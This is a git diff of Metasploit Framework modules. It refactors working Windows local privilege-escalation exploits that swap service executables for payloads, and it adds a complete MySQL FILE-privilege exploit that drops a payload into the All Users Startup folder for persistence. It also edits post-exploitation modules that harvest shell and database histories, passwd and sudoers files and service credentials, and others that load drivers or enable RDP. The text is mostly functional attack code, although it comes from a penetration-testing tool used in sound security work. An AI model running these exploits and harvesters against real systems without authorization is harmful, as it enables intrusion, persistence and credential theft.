+ if file_permissions && file_permissions.index('W')
+ print_good("[#{service_name}] Write access to #{possible_path}")
+
+ begin
+ status = service_status(service_name)
+ no_access = false
+ # Unless service is already stopped
+ if status[:state] == SERVICE_STOPPED
+ stopped = true
else
- print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
+ res = service_stop(service_name)
+ stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
end
- rescue
+ rescue RuntimeError => e
+ vprint_error("[#{service_name}] #{e} ")
+ no_access = true
+ end
+
+ if stopped or no_access
+ begin
+ if move_file(possible_path, possible_path+'.bak')
+ write_exe(possible_path, service_name)
+ print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.")
+ if service_restart(service_name)
+ print_good("[#{service_name}] Service restarted")
+ success = true
+ else
+ print_error("Unable to restart service")
+ end
+ end
+ rescue Rex::Post::Meterpreter::RequestError => e
+ vprint_error("[#{service_name}] #{e}")
+ end
+ else
+ vprint_error("[#{service_name}] Unable to stop service")
+ end
+ end
+
+ return success
+ end
+
+ # If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
+ # define the correct servicename.
+ def write_exe(path, service_name=nil)
+ vprint_status("[#{service_name}] Writing service executable to #{path}")
+ exe = generate_payload_exe_service({:servicename=>service_name})
+ write_file(path, exe)
+ register_files_for_cleanup(path)
+ end
+
+ def exploit
+ filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
+ tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
+
+ dir_env = get_envs('SystemRoot', 'TEMP')
+ sysdir = dir_env['SystemRoot']
+ tmpdir = dir_env['TEMP']
+ tempexe = tmpdir + "\\" + tempexe_name
+
+ begin
+ return if execute_payload_as_new_service(tempexe)
+ rescue RuntimeError => e
+ vprint_status("Unable to create a new service: #{e}")
+ end
+
+ aggressive = datastore['AGGRESSIVE']
+
+ print_status("Trying to find weak permissions in existing services..")
+
+ token = get_imperstoken
+ each_service do |serv|
+ service_name = serv[:name]
+ service = service_info(service_name)
+ begin
+ return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive
+ return if weak_service_permissions(service_name, service, tempexe) and not aggressive
+ rescue RuntimeError => e
+ vprint_status("[#{serv[:name]}] #{e}")
end
end
end
diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb
index ea0db27c68..dcea5907f9 100644
--- a/modules/exploits/windows/local/trusted_service_path.rb
+++ b/modules/exploits/windows/local/trusted_service_path.rb
@@ -9,6 +9,7 @@ require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
+ include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Windows::Services
@@ -44,10 +45,8 @@ class Metasploit3 < Msf::Exploit::Local
],
'Platform' => [ 'win'],
'Targets' => [ ['Windows', {}] ],
- 'SessionTypes' => [ "shell", "meterpreter" ],
+ 'SessionTypes' => [ "meterpreter" ],
'DefaultTarget' => 0,
- # Migrate away, in case the service dies (can kill access)
- 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }
))
end
@@ -65,28 +64,27 @@ class Metasploit3 < Msf::Exploit::Local
def enum_vuln_services(quick=false)
vuln_services = []
- service_list.each do |name|
- info = service_info(name)
+ each_service do |service|
+ info = service_info(service[:name])
# Sometimes there's a null byte at the end of the string,
# and that can break the regex -- annoying.
- cmd = info['Command'].strip
+ if info[:path]
+ cmd = info[:path].strip
- # Check path:
- # - Filter out paths that begin with a quote
- # - Filter out paths that don't have a space
- next if cmd !~ /^[a-z]\:.+\.exe$/i
- next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
+ # Check path:
+ # - Filter out paths that begin with a quote
+ # - Filter out paths that don't have a space
+ next if cmd !~ /^[a-z]\:.+\.exe$/i
+ next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
- # Filter out services that aren't launched as SYSTEM
- next if info['Credentials'] !~ /LocalSystem/
+ vprint_status("Found vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})")
+ vuln_services << [service[:name], cmd]
- vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})")
- vuln_services << [name, cmd]
-
- # This process can be pretty damn slow.
- # Allow the user to just find one, and get the hell out.
- break if not vuln_services.empty? and quick
+ # This process can be pretty damn slow.
+ # Allow the user to just find one, and get the hell out.
+ break if not vuln_services.empty? and quick
+ end
end
return vuln_services
@@ -99,69 +97,32 @@ class Metasploit3 < Msf::Exploit::Local
#
print_status("Finding a vulnerable service...")
svrs = enum_vuln_services(true)
- if svrs.empty?
- print_error("No service found with trusted path issues")
- return
- end
+
+ fail_with(Failure::NotVulnerable, "No service found with trusted path issues") if svrs.empty?
svr_name = svrs.first[0]
fpath = svrs.first[1]
exe_path = "#{fpath.split(' ')[0]}.exe"
- print_status("Placing #{exe_path} as #{svr_name}")
-
+ print_status("Placing #{exe_path} for #{svr_name}")
#
# Drop the malicious executable into the path
#
- exe = generate_payload_exe
+ exe = generate_payload_exe_service({:servicename=>svr_name})
print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
begin
write_file(exe_path, exe)
+ register_files_for_cleanup(exe_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
- print_error(e.message)
- return
+ fail_with(Failure::Unknown, e.message)
end
-
#
# Run the service, let the Windows API do the rest
#
print_status("Launching service #{svr_name}...")
- tried = false
- begin
- status = service_start(svr_name)
- raise RuntimeError, status if status != 0
- rescue RuntimeError => s
- if tried
- print_error("Unable to start #{svr_name}")
- return
- else
- tried = true
- end
-
- case s.message.to_i
- when 1
- # Service already started, restart again
- service_stop(svr_name)
- retry
- when 2
- # Service disabled, enable it
- service_change_startup(svr_name, 'manual')
- retry
- end
- end
-
-
- #
- # "Nothing ever happened, we swears it on the Precious!"
- #
- print_status("Deleting #{exe_path}")
- begin
- cmd_exec("cmd /c del \"#{exe_path}\"")
- rescue ::Exception => e
- print_error("Unable to remove #{exe_path}: #{e.message}")
- end
+ service_restart(svr_name)
end
end
diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb
index 33073fca2e..a869680f6a 100644
--- a/modules/exploits/windows/local/vss_persistence.rb
+++ b/modules/exploits/windows/local/vss_persistence.rb
@@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
- include Msf::Post::Windows::Services
include Msf::Post::Windows::Registry
include Msf::Exploit::EXE
diff --git a/modules/exploits/windows/mysql/mysql_start_up.rb b/modules/exploits/windows/mysql/mysql_start_up.rb
new file mode 100644
index 0000000000..69595f0236
--- /dev/null
+++ b/modules/exploits/windows/mysql/mysql_start_up.rb
@@ -0,0 +1,143 @@
+##
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::MYSQL
+ include Msf::Exploit::EXE
+ include Msf::Exploit::FileDropper
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse',
+ 'Description' => %q{
+ This module takes advantage of a file privilege misconfiguration problem
+ specifically against Windows MySQL servers. This module abuses the FILE
+ privilege to write a payload to Microsoft's All Users Start Up directory
+ which will execute every time a user logs in. The default All Users Start
+ Up directory used by the module is Windows 7 friendly.
+ },
+ 'Author' =>
+ [
+ 'sinn3r',
+ 'Sean Verity
+ {
+ 'DisablePayloadHandler' => 'true'
+ },
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ ['CVE', '2012-5613'], #DISPUTED
+ ['OSVDB', '88118'],
+ ['EDB', '23083'],
+ ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']
+ ],
+ 'Platform' => 'win',
+ 'Targets' =>
+ [
+ [ 'MySQL on Windows', { } ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Dec 01 2012'
+ ))
+
+ register_options(
+ [
+ OptString.new('USERNAME', [ true, 'The username to authenticate as']),
+ OptString.new('PASSWORD', [ true, 'The password to authenticate with']),
+ OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])
+ ])
+ end
+
+ def check
+ m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
+ return Exploit::CheckCode::Safe unless m
+
+ return Exploit::CheckCode::Appears if is_windows?
+
+ Exploit::CheckCode::Safe
+ end
+
+ def peer
+ "#{rhost}:#{rport}"
+ end
+
+ def query(q)
+ rows = []
+
+ begin
+ res = mysql_query(q)
+ return rows unless res
+ res.each_hash do |row|
+ rows << row
+ end
+ rescue RbMysql::ParseError
+ return rows
+ end
+
+ rows
+ end
+
+ def is_windows?
+ r = query("SELECT @@version_compile_os;")
+ r[0]['@@version_compile_os'] =~ /^Win/ ? true : false
+ end
+
+ def get_drive_letter
+ r = query("SELECT @@tmpdir;")
+ drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
+
+ drive
+ end
+
+ def upload_file(bin, dest)
+ p = bin.unpack("H*")[0]
+ query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
+ end
+
+ def exploit
+ unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/')
+ fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/")
+ end
+
+ print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
+ begin
+ m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
+ rescue RbMysql::AccessDeniedError
+ fail_with(Failure::NoAccess, "#{peer} - Access denied")
+ end
+
+ fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m
+
+ unless is_windows?
+ fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")
+ end
+
+ begin
+ drive = get_drive_letter
+ rescue RbMysql::ParseError
+ fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")
+ end
+
+ fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive
+
+ exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
+ dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"
+ exe = generate_payload_exe
+
+ print_status("#{peer} - Uploading to '#{dest}'")
+ begin
+ upload_file(exe, dest)
+ rescue RbMysql::AccessDeniedError
+ fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")
+ end
+ register_file_for_cleanup("#{dest}")
+ end
+
+end
diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb
index 852f160865..161d091090 100644
--- a/modules/post/linux/gather/enum_users_history.rb
+++ b/modules/post/linux/gather/enum_users_history.rb
@@ -11,50 +11,57 @@ class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::System
-
- def initialize(info={})
- super( update_info( info,
- 'Name' => 'Linux Gather User History',
- 'Description' => %q{
- This module gathers user specific information.
- User list, bash history, mysql history, vim history,
- lastlog and sudoers.
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- # based largely on get_bash_history function by Stephen Haywood
- 'ohdae '
- ],
- 'Platform' => ['linux'],
- 'SessionTypes' => ['shell', 'meterpreter']
- ))
-
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Linux Gather User History',
+ 'Description' => %q{
+ This module gathers the following user-specific information:
+ shell history, MySQL history, PostgreSQL history, MongoDB history,
+ Vim history, lastlog, and sudoers.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ # based largely on get_bash_history function by Stephen Haywood
+ 'ohdae '
+ ],
+ 'Platform' => ['linux'],
+ 'SessionTypes' => ['shell', 'meterpreter']
+ ))
end
def run
distro = get_sysinfo
- print_good("Info:")
+ print_good('Info:')
print_good("\t#{distro[:version]}")
print_good("\t#{distro[:kernel]}")
- users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
- user = execute("/usr/bin/whoami")
+ user = execute('/usr/bin/whoami')
+ users = execute('/bin/cat /etc/passwd | cut -d : -f 1').chomp.split
+ users = [user] if user != 'root' || users.blank?
- mount = execute("/bin/mount -l")
- get_bash_history(users, user)
- get_sql_history(users, user)
- get_vim_history(users, user)
- last = execute("/usr/bin/last && /usr/bin/lastlog")
- sudoers = cat_file("/etc/sudoers")
+ vprint_status("Retrieving history for #{users.length} users")
+ shells = %w{ash bash csh ksh sh tcsh zsh}
+ users.each do |u|
+ home = get_home_dir(u)
+ shells.each do |shell|
+ get_shell_history(u, home, shell)
+ end
+ get_mysql_history(u, home)
+ get_psql_history(u, home)
+ get_mongodb_history(u, home)
+ get_vim_history(u, home)
+ end
- save("Last logs", last) unless last.nil?
- save("Sudoers", sudoers) unless sudoers.nil? || sudoers =~ /Permission denied/
+ last = execute('/usr/bin/last && /usr/bin/lastlog')
+ sudoers = cat_file('/etc/sudoers')
+ save('Last logs', last) unless last.blank?
+ save('Sudoers', sudoers) unless sudoers.blank? || sudoers =~ /Permission denied/
end
- def save(msg, data, ctype="text/plain")
- ltype = "linux.enum.users"
+ def save(msg, data, ctype = 'text/plain')
+ ltype = 'linux.enum.users'
loot = store_loot(ltype, ctype, session, data, nil, msg)
print_status("#{msg} stored in #{loot.to_s}")
end
@@ -62,91 +69,66 @@ class Metasploit3 < Msf::Post
def get_host
case session.type
when /meterpreter/
- host = sysinfo["Computer"]
+ host = sysinfo['Computer']
when /shell/
- host = session.shell_command_token("hostname").chomp
+ host = session.shell_command_token('hostname').chomp
end
-
print_status("Running module against #{host}")
-
- return host
+ host
end
def execute(cmd)
vprint_status("Execute: #{cmd}")
output = cmd_exec(cmd)
- return output
+ output
end
def cat_file(filename)
vprint_status("Download: #{filename}")
output = read_file(filename)
- return output
+ output
end
- def get_bash_history(users, user)
- if user == "root" and users != nil
- users = users.chomp.split()
- users.each do |u|
- if u == "root"
- vprint_status("Extracting history for #{u}")
- hist = cat_file("/root/.bash_history")
- else
- vprint_status("Extracting history for #{u}")
- hist = cat_file("/home/#{u}/.bash_history")
- end
-
- save("History for #{u}", hist) unless hist.nil? || hist =~ /No such file or directory/
+ def get_home_dir(user)
+ home = execute("echo ~#{user}")
+ if home.empty?
+ if user == 'root'
+ home = '/root'
+ else
+ home = "/home/#{user}"
end
- else
- vprint_status("Extracting history for #{user}")
- hist = cat_file("/home/#{user}/.bash_history")
- vprint_status(hist)
- save("History for #{user}", hist) unless hist.nil? || hist =~ /No such file or directory/
end
+ home
end
- def get_sql_history(users, user)
- if user == "root" and users != nil
- users = users.chomp.split()
- users.each do |u|
- if u == "root"
- vprint_status("Extracting SQL history for #{u}")
- sql_hist = cat_file("/root/.mysql_history")
- else
- vprint_status("Extracting SQL history for #{u}")
- sql_hist = cat_file("/home/#{u}/.mysql_history")
- end
-
- save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
- end
- else
- vprint_status("Extracting SQL history for #{user}")
- sql_hist = cat_file("/home/#{user}/.mysql_history")
- vprint_status(sql_hist) if sql_hist
- save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
- end
+ def get_shell_history(user, home, shell)
+ vprint_status("Extracting #{shell} history for #{user}")
+ hist = cat_file("#{home}/.#{shell}_history")
+ save("#{shell} history for #{user}", hist) unless hist.blank? || hist =~ /No such file or directory/
end
- def get_vim_history(users, user)
- if user == "root" and users != nil
- users = users.chomp.split
- users.each do |u|
- if u == "root"
- vprint_status("Extracting VIM history for #{u}")
- vim_hist = cat_file("/root/.viminfo")
- else
- vprint_status("Extracting VIM history for #{u}")
- vim_hist = cat_file("/home/#{u}/.viminfo")
- end
-
- save("VIM History for #{u}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
- end
- else
- vprint_status("Extracting history for #{user}")
- vim_hist = cat_file("/home/#{user}/.viminfo")
- vprint_status(vim_hist)
- save("VIM History for #{user}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
- end
+ def get_mysql_history(user, home)
+ vprint_status("Extracting MySQL history for #{user}")
+ sql_hist = cat_file("#{home}/.mysql_history")
+ save("MySQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
end
+
+ def get_psql_history(user, home)
+ vprint_status("Extracting PostgreSQL history for #{user}")
+ sql_hist = cat_file("#{home}/.psql_history")
+ save("PostgreSQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
+ end
+
+ def get_mongodb_history(user, home)
+ vprint_status("Extracting MongoDB history for #{user}")
+ sql_hist = cat_file("#{home}/.dbshell")
+ save("MongoDB history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
+ end
+
+ def get_vim_history(user, home)
+ vprint_status("Extracting Vim history for #{user}")
+ vim_hist = cat_file("#{home}/.viminfo")
+ save("Vim history for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/
+ end
+
end
diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb
index 294e74a171..3c987cc114 100644
--- a/modules/post/multi/gather/dns_bruteforce.rb
+++ b/modules/post/multi/gather/dns_bruteforce.rb
@@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post
register_options(
[
- OptString.new('DOMAIN', [true, 'Domain to do a fordward lookup bruteforce against.']),
+ OptString.new('DOMAIN', [true, 'Domain to do a forward lookup bruteforce against.']),
OptPath.new('NAMELIST',[true, "List of hostnames or subdomains to use.",
::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")])
diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb
index b60f179fe8..97e9fa6ab1 100644
--- a/modules/post/windows/escalate/net_runtime_modify.rb
+++ b/modules/post/windows/escalate/net_runtime_modify.rb
@@ -8,6 +8,10 @@ require 'rex'
class Metasploit3 < Msf::Post
+ require 'msf/core/module/deprecated'
+ include Msf::Module::Deprecated
+ deprecated Date.new(2015, 1, 8), 'exploit/windows/local/service_permissions'
+
include Msf::Post::Windows::Services
def initialize(info={})
@@ -39,7 +43,7 @@ class Metasploit3 < Msf::Post
def run
paths = []
- services = []
+ candidate_services = []
vuln = ""
@temp = session.sys.config.getenv('TEMP')
@@ -50,16 +54,16 @@ class Metasploit3 < Msf::Post
print_status("Checking for vulnerable .NET Framework Optimization service")
print_status("This may take a few minutes.")
# enumerate the installed .NET versions
- service_list.each do |service|
- if service =~ /clr_optimization_.*/
- info = service_info(service)
- paths << info['Command']
- services << service
+ each_service do |service|
+ if service[:name] =~ /clr_optimization_.*/
+ info = service_info(service[:name])
+ paths << info[:path]
+ candidate_services << service[:name]
begin
- service_stop(service) # temporarily stop the service
- print_status("Found #{info['Name']} installed")
+ service_stop(service[:name]) # temporarily stop the service
+ print_status("Found #{service[:name]} installed")
rescue
- print_error("We do not appear to have access to stop #{info['Name']}")
+ print_error("We do not appear to have access to stop #{service[:name]}")
end
else
next
@@ -80,17 +84,13 @@ class Metasploit3 < Msf::Post
payload = setup_exploit
end
- services.each do |service|
+ candidate_services.each do |service|
session.railgun.kernel32.CopyFileA(payload, vuln, false)
- mng = session.railgun.advapi32.OpenSCManagerA(nil,nil,1)
- if mng['return'].nil?
- print_error("Cannot open service manager, not enough privileges")
- return
- end
- # restart the service
- status = service_start(service)
- if status == 0
+ # restart the service
+ status = service_restart(service)
+
+ if status
print_status("Restarted #{service}")
else
print_error("Failed to restart #{service}")
diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb
index b773a3c662..c8fff9fa50 100644
--- a/modules/post/windows/gather/credentials/tortoisesvn.rb
+++ b/modules/post/windows/gather/credentials/tortoisesvn.rb
@@ -48,7 +48,6 @@ class Metasploit3 < Msf::Post
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
- #print_status("#{ret.inspect}")
len, addr = ret["pDataOut"].unpack("V2")
else
addr = [mem].pack("Q")
diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb
index 95433a71d7..eff601943b 100644
--- a/modules/post/windows/gather/enum_services.rb
+++ b/modules/post/windows/gather/enum_services.rb
@@ -15,12 +15,14 @@ class Metasploit3 < Msf::Post
super(update_info(info,
'Name' => "Windows Gather Service Info Enumeration",
'Description' => %q{
- This module will query the system for services and display name and configuration
- info for each returned service. It allows you to optionally search the credentials, path,
- or start type for a string and only return the results that match. These query operations
- are cumulative and if no query strings are specified, it just returns all services.
- NOTE: If the script hangs, windows firewall is most likely on and you did not
- migrate to a safe process (explorer.exe for example).
+ This module will query the system for services and display name and
+ configuration info for each returned service. It allows you to
+ optionally search the credentials, path, or start type for a string
+ and only return the results that match. These query operations are
+ cumulative and if no query strings are specified, it just returns all
+ services. NOTE: If the script hangs, windows firewall is most likely
+ on and you did not migrate to a safe process (explorer.exe for
+ example).
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
@@ -31,97 +33,100 @@ class Metasploit3 < Msf::Post
[
OptString.new('CRED', [ false, 'String to search credentials for' ]),
OptString.new('PATH', [ false, 'String to search path for' ]),
- OptEnum.new('TYPE', [false, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]])
+ OptEnum.new('TYPE', [true, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]])
], self.class)
end
-
def run
# set vars
- lootString = ""
credentialCount = {}
qcred = datastore["CRED"] || nil
qpath = datastore["PATH"] || nil
+
if datastore["TYPE"] == "All"
qtype = nil
else
- qtype = datastore["TYPE"]
+ qtype = datastore["TYPE"].downcase
end
+
if qcred
+ qcred = qcred.downcase
print_status("Credential Filter: #{qcred}")
end
+
if qpath
+ qpath = qpath.downcase
print_status("Executable Path Filter: #{qpath}")
end
+
if qtype
print_status("Start Type Filter: #{qtype}")
end
- if datastore['VERBOSE']
- print_status("Listing Service Info for matching services:")
- else
- print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n")
- end
+ results_table = Rex::Ui::Text::Table.new(
+ 'Header' => 'Services',
+ 'Indent' => 1,
+ 'SortIndex' => 0,
+ 'Columns' => ['Name', 'Credentials', 'Command', 'Startup']
+ )
- service_list.each do |sname|
+ print_status("Listing Service Info for matching services, please wait...")
+ service_list.each do |srv|
srv_conf = {}
- isgood = true
+
# make sure we got a service name
- if sname
+ if srv[:name]
begin
- srv_conf = service_info(sname)
- # filter service based on filters passed, the are cumulative
- if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase
- isgood = false
- end
- if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
- isgood = false
- end
- # There may not be a 'Startup', need to check nil
- if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
- isgood = false
- end
- # count the occurance of specific credentials services are running as
- serviceCred = srv_conf['Credentials'].upcase
- unless serviceCred.empty?
- if credentialCount.has_key?(serviceCred)
- credentialCount[serviceCred] += 1
- else
- credentialCount[serviceCred] = 1
- # let the user know a new service account has been detected for possible lateral
- # movement opportunities
- print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'")
+ srv_conf = service_info(srv[:name])
+ if srv_conf[:startname]
+ # filter service based on filters passed, the are cumulative
+ if qcred && !srv_conf[:startname].downcase.include?(qcred)
+ next
end
+
+ if qpath && !srv_conf[:path].downcase.include?(qpath)
+ next
+ end
+
+ # There may not be a 'Startup', need to check nil
+ if qtype && !(START_TYPE[srv_conf[:starttype]] || '').downcase.include?(qtype)
+ next
+ end
+
+ # count the occurance of specific credentials services are running as
+ serviceCred = srv_conf[:startname].upcase
+ unless serviceCred.empty?
+ if credentialCount.has_key?(serviceCred)
+ credentialCount[serviceCred] += 1
+ else
+ credentialCount[serviceCred] = 1
+ # let the user know a new service account has been detected for possible lateral
+ # movement opportunities
+ print_good("New service credential detected: #{srv[:name]} is running as '#{srv_conf[:startname]}'")
+ end
+ end
+
+ results_table << [srv[:name],
+ srv_conf[:startname],
+ START_TYPE[srv_conf[:starttype]],
+ srv_conf[:path]]
end
- # if we are still good return the info
- if isgood
- msgString = "\tName: #{sname}"
- msgString << "\n\t\tStartup: #{srv_conf['Startup']}"
- #remove invalid char at the end
- commandString = srv_conf['Command']
- commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"")
- msgString << "\n\t\t#{commandString}"
- msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n"
- vprint_good(msgString)
- lootString << msgString
- end
- rescue ::Exception => e
- # July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue,
- # probably the typical shut-everything-up coding habit. We'll have to fix this later,
- # but for now let's at least print the error for debugging purposes
- print_error("An error occured enumerating service: #{sname}")
- print_error(e.to_s)
+ rescue RuntimeError => e
+ print_error("An error occurred enumerating service: #{srv[:name]}: #{e}")
end
else
- print_error("Problem enumerating services (no service name found)")
+ print_error("Problem enumerating service - no service name found")
end
end
- # store loot on completion of collection
- p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services")
- print_good("Loot file stored in: #{p.to_s}")
+
+ print_line results_table.to_s
+
+ # store loot on completion of collection
+ p = store_loot("windows.services", "text/plain", session, results_table.to_s, "windows_services.txt", "Windows Services")
+ print_good("Loot file stored in: #{p.to_s}")
end
end
diff --git a/modules/post/windows/manage/driver_loader.rb b/modules/post/windows/manage/driver_loader.rb
index 76350c2f47..9558084429 100644
--- a/modules/post/windows/manage/driver_loader.rb
+++ b/modules/post/windows/manage/driver_loader.rb
@@ -56,9 +56,9 @@ class Metasploit3 < Msf::Post
def run
driver = datastore['DRIVER_PATH']
- start = datastore['START_TYPE']
- error = datastore['ERROR_TYPE']
- service = datastore['SERVICE_TYPE']
+ start = START_TYPE[datastore['START_TYPE']]
+ error = ERROR_TYPE[datastore['ERROR_TYPE']]
+ service = SERVICE_TYPE[datastore['SERVICE_TYPE']]
name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(8)+6)) : datastore['DRIVER_NAME']
@@ -77,9 +77,9 @@ class Metasploit3 < Msf::Post
return
end
- inst = install_driver(driver: driver, start: start, name: name, error: error, service: service)
+ inst = install_driver(name, path: driver, starttype: start, error_control: error, service_type: service)
- if inst
+ if inst == Windows::Error::SUCCESS
ss = service_start(name)
case ss
when Windows::Error::SUCCESS
@@ -94,30 +94,19 @@ class Metasploit3 < Msf::Post
end
end
- def install_driver(opts={})
- service_all_access = 0xF01FF
- service_type = SERVICE_TYPE[opts[:service]]
- service_error_type = ERROR_TYPE[opts[:error]]
- service_start_type = START_TYPE[opts[:start]]
- advapi32 = client.railgun.advapi32
- name = opts[:name]
- # Default access: sc_manager_all_access (0xF003F)
- ro = open_sc_manager()
+ def install_driver(name, opts={})
+ rc = service_create(name, opts)
- rc = advapi32.CreateServiceA(ro, name, name, service_all_access, service_type, service_start_type, service_error_type, opts[:driver], nil, nil, nil, nil, nil)
- close_sc_manager(ro)
-
- if rc['GetLastError'] == Windows::Error::SUCCESS
+ if rc == Windows::Error::SUCCESS
print_status("Service object \"#{name}\" added to the Service Control Manager database.")
- close_sc_manager(rc['return'])
return true
- elsif rc['GetLastError'] == Windows::Error::SERVICE_EXISTS
+ elsif rc == Windows::Error::SERVICE_EXISTS
print_error("The specified service already exists.")
# Show ImagePath just to know if the service corresponds to the desired driver.
service = service_info(name)
- print_error("Path of driver file in \"#{name}\" service: #{service["Command"]}.")
+ print_error("Path of driver file in \"#{name}\" service: #{service[:path]}.")
else
- print_error("There was an error opening the driver handler. GetLastError=#{rc['GetLastError']}.")
+ print_error("There was an error opening the driver handler. GetLastError=#{rc}.")
end
return false
end
diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb
index d6c3be4f71..16199977ee 100644
--- a/modules/post/windows/manage/enable_rdp.rb
+++ b/modules/post/windows/manage/enable_rdp.rb
@@ -84,17 +84,20 @@ class Metasploit3 < Msf::Post
def enabletssrv(cleanup_rc)
- rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService"
+ service_name = "termservice"
+ srv_info = service_info(service_name)
begin
- v2 = registry_getvaldata(rdp_key,"Start")
print_status "Setting Terminal Services service startup mode"
- if v2 != 2
+ if srv_info[:starttype] != START_TYPE_AUTO
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
- service_change_startup("TermService","auto")
+ unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
+ print_error("\tUnable to change start type to Auto")
+ end
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
- cmd_exec("sc", "start termservice", 30)
+ if (service_start(service_name) == Windows::Error::SUCCESS)
+ print_good("\tRDP Service Started")
+ end
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
-
else
print_status "\tTerminal Services service is already set to auto"
end
diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb
index 871e6e55ce..b49600378b 100644
--- a/modules/post/windows/manage/rpcapd_start.rb
+++ b/modules/post/windows/manage/rpcapd_start.rb
@@ -9,7 +9,7 @@ class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
